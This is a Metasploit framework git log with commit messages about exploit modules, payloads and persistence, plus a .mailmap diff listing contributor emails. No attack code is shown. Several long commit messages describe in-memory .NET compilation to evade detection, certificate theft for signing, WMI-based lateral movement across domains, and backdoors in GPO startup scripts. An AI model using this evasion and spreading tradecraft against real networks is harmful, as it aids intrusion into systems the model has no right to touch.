the js utils bit directly without requiring rex-exploitation
2016-10-11 17:36:55 -05:00
Brendan fe36801918 Changed to convert hostnames and domains to UTF-8 rather than ANSI
after pulling them from the NTLM blob
2016-10-11 15:51:50 -05:00
Alton J 98d7b19ab9 Passed IP parameter to additional functions. 2016-10-11 15:09:50 -05:00
Alton J acff0fa9cf Added IP addresses to output. 2016-10-11 14:43:42 -05:00
Alton J f0ff4a0721 Added IP addresses to output. 2016-10-11 14:42:06 -05:00
Spencer McIntyre bd110430e9 Remove unnecessary require statements 2016-10-11 15:35:49 -04:00
mr_me bd646ded1b fixed the check function 2016-10-11 14:06:03 -05:00
Sonny Gonzalez 55348d7342 Merge branch 'land-6993' into upstream-master 2016-10-11 09:39:15 -05:00
Sonny Gonzalez 3fd806b87f Merge remote-tracking branch 'upstream/pr/6993' into land-6993 2016-10-11 09:33:26 -05:00
mr_me fc5be2d2c6 Merge branch 'rails' of https://github.com/stevenseeley/metasploit-framework into rails 2016-10-11 08:32:05 -05:00
mr_me 95017cea0c Merge remote-tracking branch 'upstream/master' into rails 2016-10-11 08:31:33 -05:00
Brent Cook b447f32a28 Land #7423, add 'localtime' command to meterpreter and mettle 2016-10-11 07:59:12 -05:00
Brent Cook e5ac3eda61 Land #7362, Fix apk injection script to include android payload service and broadcast receivers 2016-10-11 07:54:10 -05:00
Brent Cook 157740ba06 update payload sizes 2016-10-11 07:01:17 -05:00
Brent Cook 8f8a54bf8c update to really-working payloads 1.1.21 2016-10-11 07:00:01 -05:00
Tim 3d9cb7375c store Android payload information in byte array 2016-10-11 14:41:32 +08:00
Brent Cook deaa4047df bump payloads (and sqlite too) 2016-10-10 23:58:19 -05:00
Brent Cook 0d5a23b865 Merge branch 'master' into land-7423-localtime 2016-10-10 23:54:38 -05:00
mr_me 2a308f76b1 Update rails_dynamic_render_code_exec.md 2016-10-10 22:43:24 -05:00
mr_me d8f98ccd4e run through msftidy 2016-10-10 22:36:20 -05:00
mr_me f2252bb179 fixed a few things, thanks @h00die 2016-10-10 22:30:01 -05:00
mr_me 3c3f424a4d added a some references 2016-10-10 17:56:03 -05:00
mr_me bca3aab1db added CVE-2016-0752 2016-10-10 17:36:20 -05:00
Pearce Barry 2bd11f512a Land #7422, fix nessus_db_import command
Fix #7391
2016-10-10 15:25:32 -05:00
h00die 9d2355d128 removed debug line 2016-10-10 10:23:51 -04:00
h00die 2ad82ff8e3 more nagios versatility 2016-10-10 10:21:49 -04:00
OJ 699a8e91d2 Rework XOR code to make more sense 2016-10-10 13:38:08 +10:00
OJ e139a1ee8f Land #7383: Rebase/Fix + SSL stager support for python 2016-10-10 13:06:09 +10:00
Pearce Barry 7b84e961ed Minor output correction. 2016-10-09 19:01:06 -05:00
Pearce Barry d1a11f46e8 Land #7418, Linux recvmmsg Priv Esc (CVE-2014-0038) 2016-10-09 18:37:52 -05:00
h00die 7e6facd87f added wrong file 2016-10-09 09:49:58 -04:00
h00die 2c4a069e32 prepend fork fix 2016-10-09 09:40:44 -04:00
h00die f9060b0ac7 fixed doc numbering 2016-10-09 00:02:18 -04:00
h00die 2dfebe586e working cve-2014-0038 2016-10-08 23:58:09 -04:00
Metasploit adb6f31e36 Bump version of framework to 4.12.33 2016-10-08 20:57:08 -07:00
Brent Cook 940bdedd21 Land #7417, backout rex-exploitation gem refactor 2016-10-08 22:38:06 -05:00
Brent Cook 74e0256448 Revert "remove leftover cruft"
This reverts commit 2be551cbd3.
2016-10-08 21:55:22 -05:00
Brent Cook f3166070ba Revert "use the new rex-exploitation gem"
This reverts commit 52f6265d2e.
2016-10-08 21:55:16 -05:00
Brent Cook b77a910205 Land #7355, allwinner post to local exploit conversion 2016-10-08 21:38:54 -05:00
Brent Cook e074669406 Land #7296, Added a SCADA module for detecting Profinet devices, e.g. Siemens controllers 2016-10-08 21:34:40 -05:00
Brent Cook 7e2e98f96c Land #7413, Add KB for post/firefox/gather/passwords 2016-10-08 21:31:27 -05:00
Brent Cook f6353b1a60 Land #5393, add remote .NET code compilation and persistence 2016-10-08 21:21:57 -05:00
Brent Cook bd24e7eba0 more cleanups and print output on auto-run 2016-10-08 21:14:26 -05:00
Brent Cook 63bf93be1b code and style cleanups 2016-10-08 21:04:15 -05:00
Brent Cook df597a7bb7 add module documentation 2016-10-08 20:17:54 -05:00
Brent Cook 5284db6b58 module cleanup 2016-10-08 20:17:29 -05:00
Brent Cook 7c1fa3eb51 fix 'info -d module', it assumed active module only 2016-10-08 19:31:00 -05:00
Brent Cook 199bf8e726 cleanups and update to require 4.0 CLR by default 2016-10-08 15:24:13 -05:00
RageLtMan 44c5fc3250 Sync build_net_code post module upstream
Fix merge conflicts and add missing lines to framework version of
the DotNet compiler example module.

Test output to come in PR #5393
2016-10-08 14:06:35 -05:00
wchen-r7 0e57808914 Update to class name MetasploitModule 2016-10-08 14:06:35 -05:00
RageLtMan 47b1320d08 Add options to cmd_psh_payload
Fill in validated datastore options for generating custom PSH
payloads
2016-10-08 14:06:35 -05:00
RageLtMan fb8e025aa5 Force datastore validation by option set
cmd_psh_payload relies on datastore options to have a proper
data type down the call chain. When modules are created with string
values for all data store options, a conditional naively checking
what should be a boolean value for false/nil? would return true
for a string representation of "false."

Ensure that datastore options are validated prior to using them
to set variables passed into Rex methods.
2016-10-08 14:06:35 -05:00
RageLtMan f24bfe7d4e Import Powershell::exec_in_place
Allow passing exec_in_place parameter to cmd_psh_payload in order
to execute raw powershell without the commandline wrappers of
comspec or calling the powershell binary itself.
This is useful in contexts such as the web delivery mechanism or
recent powershell sessions as it does not require the creation of
a new PSH instance.
2016-10-08 14:06:35 -05:00
RageLtMan 36b989e6d7 Initial import of .NET compiler and persistence
Add Exploit::Powershell::DotNet namespace with compiler and
runtime elevator.

Add compiler modules for payloads and custom .NET code/blocks.

==============

Powershell-based persistence module to compile .NET templates
with MSF payloads into binaries which persist on host.
Templates by @hostess (way back in 2012).

C# templates for simple binaries and a service executable with
its own install wrapper.

==============

Generic .NET compiler post module

Compiles .NET source code to binary on compromised hosts.
Useful for home-grown APT deployment, decoy creation, and other
misdirection or collection activities.

Using mimikatz (kiwi), one can also extract host-resident certs
and use them to sign the generated binary, thus creating a
locally trusted exe which helps with certain defensive measures.

==============

Concept:

Microsoft has graciously included a compiler in every modern
version of Windows. Although executables which can be easily
invoked by the user may not be present on all hosts, the
shared runtime of .NET and Powershell exposes this functionality
to all users with access to Powershell.

This commit provides a way to execute the compiler entirely in
memory, seeking to avoid disk access and the associated forensic
and defensive measures. Resulting .NET assemblies can be run
from memory, or written to disk (with the option of signing
them using a pfx cert on the host). Two basic modules are
provided to showcase the functionality and execution pipeline.

Usage notes:

Binaries generated this way are dynamic by nature and avoid sig
based detection. Heuristics, sandboxing, and other isolation
mechanisms must be defeated by the user for now. Play with
compiler options, included libraries, and runtime environments
for maximum entropy before you hit the temmplates.

Defenders should watch for:
Using this in conjunction with WMI/PS remoting or other MSFT
native distributed execution mechanism can bring malware labs
to their knees with properly crafted templates.
The powershell code to generate the binaries also provides a
convenient method to leave behind complex trojans which are not
yet in binary form, nor will they be until execution (which can
occur strictly in memory avoiding disk access for the final
product).

==============

On responsible disclosure: I've received some heat over the years
for prior work in this arena. Everything here is already public,
and has been in closed PRs in the R7 repo for years. The bad guys
have had this for a while (they do their homework religiously),
defenders need to be made aware of this approach and prepare
themselves to deal with it.
2016-10-08 14:05:53 -05:00
William Vu 1b06e6279b Land #7414, cmd_bash fix for netbsd_mail_local 2016-10-07 21:42:12 -05:00
h00die 7c20f20493 remove unneeded bash 2016-10-07 21:12:27 -04:00
Daniel Werner 86465710e2 Add KB for post/firefox/gather/passwords. 2016-10-08 01:19:26 +02:00
Spencer McIntyre 2f5cdd814a Land #7412, Add zeroSteiner to author.rb 2016-10-07 18:36:14 -04:00
William Vu 1f36583db2 Add zeroSteiner to author.rb 2016-10-07 12:51:22 -05:00
Metasploit 8a6426df48 Bump version of framework to 4.12.32 2016-10-07 10:04:32 -07:00
Spencer McIntyre bbdb58eb00 Add an HTA server module using powershell 2016-10-06 19:25:22 -04:00
Metasploit a0ebf5ea2d Bump version of framework to 4.12.31 2016-10-06 11:23:08 -07:00
funkypickle fb0a438fdf Perform a version check to determine exploitability for graphite pickle 2016-10-05 16:08:02 -07:00
h00die 27cf5c65c4 working module 2016-10-04 23:21:53 -04:00
h00die 75bea08e0e changing branches 2016-10-04 21:08:12 -04:00
h00die e6daef62b4 egypt 2016-10-03 20:24:59 -04:00
Tiago Sintra a75e5480a1 Update nessus.rb - Fix issues reported on #7391
Fixes various functions which invoked scan_export_status and were not processing the result correctly.
The function now returns an array (from JSON.parse) instead of a string.
Also it takes in consideration the "loading" stage of the export procedure.
2016-10-04 01:03:38 +02:00
OJ 3469104f7a Add localtime command support 2016-10-03 15:18:37 +10:00
Interference Security 3e01dbfded Fixed Space-Tab mixed indent warning 2016-10-01 15:13:26 +05:30
Interference Security 4227cb76a8 Fixed stack trace bug & verified logic
- Fixed stack trace bug when value of "packet" is nill.
- Verified logic of Oracle TNS Listener poisoning which requires an ACCEPT response to be marked as vulnerable.
2016-10-01 15:01:02 +05:30
nixawk ac76c3591a reference urls 2016-09-29 22:43:00 -05:00
nixawk 5929d72266 CVE-2016-6415 - cisco_ike_benigncertain.rb 2016-09-29 22:25:57 -05:00
nixawk 7368b995f2 CVE-2016-6415 Cisco - sendpacket.raw 2016-09-29 22:24:55 -05:00
Brent Cook fabb296b15 update cache and add payload test 2016-09-29 21:19:55 -05:00
h00die 7b0a8784aa additional doc updates 2016-09-29 19:02:16 -04:00
Brent Cook 49ed02a203 fix packet parsing when there is partial data 2016-09-29 17:21:59 -05:00
Brent Cook 301e38b08f use correct base class for modules 2016-09-29 17:21:59 -05:00
RageLtMan 4fdb54e6a1 Fixup transport to work with upstream
Differences in transport configuration and the actual payload do
not allow a direct splice of the original files included.

Clean up the payload generator to work with upstream handler,
payload, and transport configuration implementation.

Initial testing shows inbound sessions are created and SSL cert
is now properly attaching to the handler.
2016-09-29 17:21:59 -05:00
RageLtMan a7470991d9 Bring Python reverse_tcp_ssl payload upstream
Adds TLS/SSL transport encryption for reverse tcp payloads in
python
2016-09-29 17:21:59 -05:00
h00die bac4a25b2c compile or nill 2016-09-29 06:15:17 -04:00
h00die 4fac5271ae slight cleanup 2016-09-29 05:51:13 -04:00
h00die c036c258a9 cve-2016-4557 2016-09-29 05:23:12 -04:00
h00die 3b548dc3cd update email and paths 2016-09-28 18:37:48 -04:00
h00die 7a108e2102 updated docs w/ error codes on failed attempts 2016-09-27 20:26:04 -04:00
h00die 35a2b3e59d working panda 2016-09-27 20:15:17 -04:00
Tim a39c4965e4 fix apk injection script to include payload service and receivers 2016-09-26 19:50:10 +08:00
Tijl Deneut 2fab62b14d Update profinet_siemens.rb
Removed unnecessary rescue, gave "timeout" variable a better name.
2016-09-23 18:05:45 +02:00
h00die cba297644e post to local conversion 2016-09-22 22:08:24 -04:00
Brendan 332ba47356 refactored blob parsing to get unicode, but break everything else 2016-09-16 11:22:53 -05:00
Jan Mitchell c102384b7a Remove spaces at EOL 2016-09-16 11:28:08 +01:00
Jan Mitchell 7393d91bfa Merge branch 'master' of https://github.com/rapid7/metasploit-framework into upstream-master 2016-09-16 10:46:44 +01:00
Jon Hart a7cf0c8a32 Make at_persistence more persistent 2016-09-14 16:19:59 -07:00
Jon Hart 18fa897644 Add initial at_persistence documentation 2016-09-14 16:06:15 -07:00
Jon Hart 79a8123d2f Trim platform, expand payload 2016-09-13 21:44:41 -07:00
Jon Hart 18d424bb83 Update waiting message to indicate that it will wait up to that long 2016-09-13 21:16:59 -07:00
Jon Hart b16e84f574 Bump default WfsDelay to account for execution at 0s and execution delays
Also, platforms, which I think achieves nothing right now.
2016-09-13 21:04:30 -07:00
Jon Hart 18c54ebb5e Minor rubocop gripe 2016-09-13 20:54:30 -07:00
Jon Hart 15e44e296b Fix cmd execution; use and cleanup temporary files 2016-09-13 20:51:32 -07:00
Jon Hart 972db476ef Implement check for at_persistence 2016-09-13 16:08:49 -07:00
Jon Hart c69d65c47e Initial commit of at(1) 'persistence'
Initial inspiration from @h00die's cron module in #7003
2016-09-13 10:25:13 -07:00
Tijl Deneut 4484b6c02e Merge branch 'profinet_siemens' of https://github.com/tijldeneut/metasploit-framework into profinet_siemens 2016-09-11 09:16:47 +02:00
Tijl Deneut 8df8f7dda0 Initial commit of profinet_siemens.rb 2016-09-11 09:15:41 +02:00
root 5f5796db1f Initial commit of profinet_siemens.rb 2016-09-11 09:08:58 +02:00
catatonic c06ee991ed Adding WiFi pineapple command injection via authenticaiton bypass. 2016-09-06 17:22:25 -07:00
catatonic 8d40dddc17 Adding WiFi pineapple preconfig command injection module. 2016-09-06 17:18:36 -07:00
Quentin Kaiser e4d118108a Trend Micro SafeSync exploit. 2016-09-06 19:33:23 +00:00
OJ ab6ffcc725 Add tspkg support and fix parsing a little 2016-09-07 02:04:54 +10:00
OJ dd977c0c28 Begin work on parsing mimikatz output and handling more cmds 2016-09-07 01:41:35 +10:00
Jan Mitchell 411689aa44 Adding changes to Samba exploit to target MIPSBE (this is for OpenWRT on a router 2016-09-01 10:05:13 +01:00
Jan Mitchell 4d3611ceb9 Added MIPSBE support to Samba exploit. Added a MIPSBE nop generator 2016-09-01 09:55:08 +01:00
Danil Bazin bfabb3877c @void-in suggestions styles 2016-08-31 14:00:35 +02:00
Danil Bazin 39407dda95 Winpmem meterpreter extension 2016-08-31 11:46:15 +02:00
Yorick Koster 0fcced2091 Revert "Internet Explorer iframe sandbox local file name disclosure vulnerability"
This reverts commit 3ed7908b83.
2016-08-09 20:44:45 +02:00
Yorick Koster 3ed7908b83 Internet Explorer iframe sandbox local file name disclosure vulnerability
It was found that Internet Explorer allows the disclosure of local file
names. This issue exists due to the fact that Internet Explorer behaves
different for file:// URLs pointing to existing and non-existent files.
When used in combination with HTML5 sandbox iframes it is possible to
use this behavior to find out if a local file exists. This technique
only works on Internet Explorer 10 & 11 since these support the HTML5
sandbox. Also it is not possible to do this from a regular website as
file:// URLs are blocked all together. The attack must be performed
locally (works with Internet zone Mark of the Web) or from a share.
2016-08-09 20:23:35 +02:00
Yorick Koster b7049939d9 Fixed more build errors 2016-08-09 12:55:18 +02:00
Yorick Koster 22054ce85c Fixed build errors 2016-08-09 12:47:08 +02:00
Yorick Koster b935e3df2e Office OLE Multiple DLL Side Loading Vulnerabilities
Multiple DLL side loading vulnerabilities were found in various COM
components.
These issues can be exploited by loading various these components as an
embedded
OLE object. When instantiating a vulnerable object Windows will try to
load one
or more DLLs from the current working directory. If an attacker
convinces the
victim to open a specially crafted (Office) document from a directory
also
containing the attacker's DLL file, it is possible to execute arbitrary
code with
the privileges of the target user. This can potentially result in the
attacker
taking complete control of the affected system.
2016-08-09 12:29:08 +02:00
Quentin Kaiser 1320647f31 Exploit for Trend Micro Smart Protection Server (CVE-2016-6267). 2016-08-08 18:47:46 +00:00
OJ f9a7d34089 Initial work to support the new kiwi extension 2016-08-02 19:12:24 +10:00
Brent Cook a530aa4cf1 restrict perms a bit more 2016-07-11 22:22:34 -05:00
Brent Cook a107a0f955 remove unneeded rport/rhost defines 2016-07-11 22:22:34 -05:00
Brent Cook 6bf51fe064 streamline payload generation 2016-07-11 22:22:34 -05:00
Brent Cook 7ef6c8bf9e ruby style updates 2016-07-11 22:22:33 -05:00
Brent Cook c1f51e7ddf Update and fixup module against OpenNMS-16 2016-07-11 22:22:33 -05:00
benpturner 50746eec29 Fixes comments in regards to #{peer} 2016-07-11 22:22:33 -05:00
benpturner ce8317294f New module to exploit the OpenNMS Java Object Unserialization RCE vulnerability. This now gets flagged inside Nessus and there was no Metasploit module to exploit this.
This module exploits the vulnerability to a full session.
2016-07-11 22:22:32 -05:00
OJ bf36b2c58e Fix preamble in bind_php to include php tag+escape 2016-06-21 10:07:42 +10:00
Interference Security 1283580c17 Merge pull request #1 from interference-security/tnspoision_checker_bug_fix
Fixed false positive bug in Oracle TNS Listener Checker module
2016-06-19 17:58:27 +05:30
Interference Security 0fa1fc50f8 Fixed false positive bug
Checking for "(ERROR_STACK=(ERROR=" is not enough to mark a target as vulnerable. TNS response packet bytes for "Accept" and "Refuse" are required to be sure.
Reference: https://thesprawl.org/research/oracle-tns-protocol/
2016-06-19 17:33:05 +05:30
Trenton Ivey 90f84d9883 Better fix to the missing command output bug 2016-06-15 05:27:27 -05:00
Trenton Ivey 791ab7a615 Fixing missing command output bug 2016-06-15 05:14:50 -05:00
Trenton Ivey 05c96703a8 Regsvr32 Command Delivery Server 2016-06-13 15:14:39 -05:00
drforbin 16a518a135 changed formatting for else statements 2016-04-04 21:25:30 -05:00
drforbin 0501bf03ff fixed formatting errors for travis 2016-04-04 17:54:47 -05:00
drforbin 1a8d541a5f changed formatting, changed to OptPath. cleaned unneeded code 2016-04-04 17:48:31 -05:00
drforbin 0df3836216 cleaned up write_target, and variables REXE 2016-04-01 22:45:56 -05:00
drforbin e0f839891d changed formatting to comform with travis 2016-03-24 23:33:11 -05:00
drforbin 5c21c0f228 formatting changes and design changes. tested 2016-03-24 23:02:33 -05:00
drforbin e868a4fb02 added persistence_exe.rb to windows post modules 2016-03-23 00:10:09 -05:00
RageLtMan fce78dce44 Remove dependency on dot_net PR 2016-03-22 03:35:37 -04:00
RageLtMan 6b2421e861 Use OJ's suggestion for fail_with 2016-03-22 03:35:02 -04:00
RageLtMan 4a79e75af9 Address void-in's comments
Drop session type check
Camel case advanced options
Clean up persistence, dry run, and error messages.
Clean up copyright/license clause.
2016-03-05 02:13:24 -05:00
RageLtMan 5bd43bf3d7 Powershell WMI execution post module
Powerhell provides direct interface to WMI, allowing users in UAC
or otherwise restricted context to attain privileged resources via
impersonation. Moreover, WMI allows for execution remotely, on any
endpoint attainable via DCOM. In practice, this allows foothold on
a single domain host to immediately infect every machine accessible
via DCOM either from the currently held privileged context (such as
a domain administrator) or from a new context generated by entering
acquired credentials.
Payloads, remote commands, and collection activities can be invoked
without direct IP connectivity on a remote host, and output can
be collected the same way.
Of particular note when implementing this technique is that admin
contexts resulting from this form of execution are not encapsulated
in UAC, allowing for immediate privesc to system if creating a new
session.
Old notes show that loopback exec is not stable or usable, though
this merits further research as it seems the native way to avoid
UAC altogether without any exploitation.
As with all the other powershell vectors, this mechanism provides
in-memory execution, and in all our testing walks right through the
AV currently out there since it has no service executable, on-disk
footprint, or even error log from the improper service exit that
psexec causes. Sandboxes dont cover powershell - too much runtime
entropy and some quite legitimate use of sockets and unmanaged
memory marshalling to get a good "guess" of what the code is trying
to do.
Makes for a great gift left behind in GPO startup scripts or other
latent backdoor approaches. Since a script is produced, those with
the need and craft can alter the resulting scripts to dynamically
enumerate domain hosts meeting their needs for exploitation at
runtime, as opposed to the "brute-force" approach used here.

-----

Testing:
  The internal module has been in use for over three years in our
fork. Its been instrumental in showing several clients what it
means to be "pwned" in 30s flat. This particular version has been
slightly altered for upstream consumption and should be tested
again by community and developers alike in the upstream branch.

Note:
  Word to the wise on target selection - choose carefully, it is
possible to generate more sessions than an L3 pivoted handler can
comfortably address, and having a thousand reverse_tcp sessions
going past the edge is sure to raise an eyebrow at the SOC.
2016-03-04 19:31:55 -05:00
631 changed files with 21053 additions and 5484 deletions
+73 -69
View File
@@ -1,58 +1,56 @@
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -66,15 +64,14 @@ bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
bwall <bwall@github> Brian Wallace <bwall@openbwall.com>
bwall <bwall@github> (B)rian (Wall)ace <nightstrike9809@gmail.com>
ceballosm <ceballosm@github> Mario Ceballos <mc@metasploit.com>
Chao-mu <Chao-Mu@github> Chao Mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
Chao-mu <Chao-Mu@github> <chao.mu@minorcrash.com>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
@@ -85,22 +82,24 @@ crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
espreto <espreto@github> <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
FireFart <FireFart@github> <firefart@gmail.com>
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
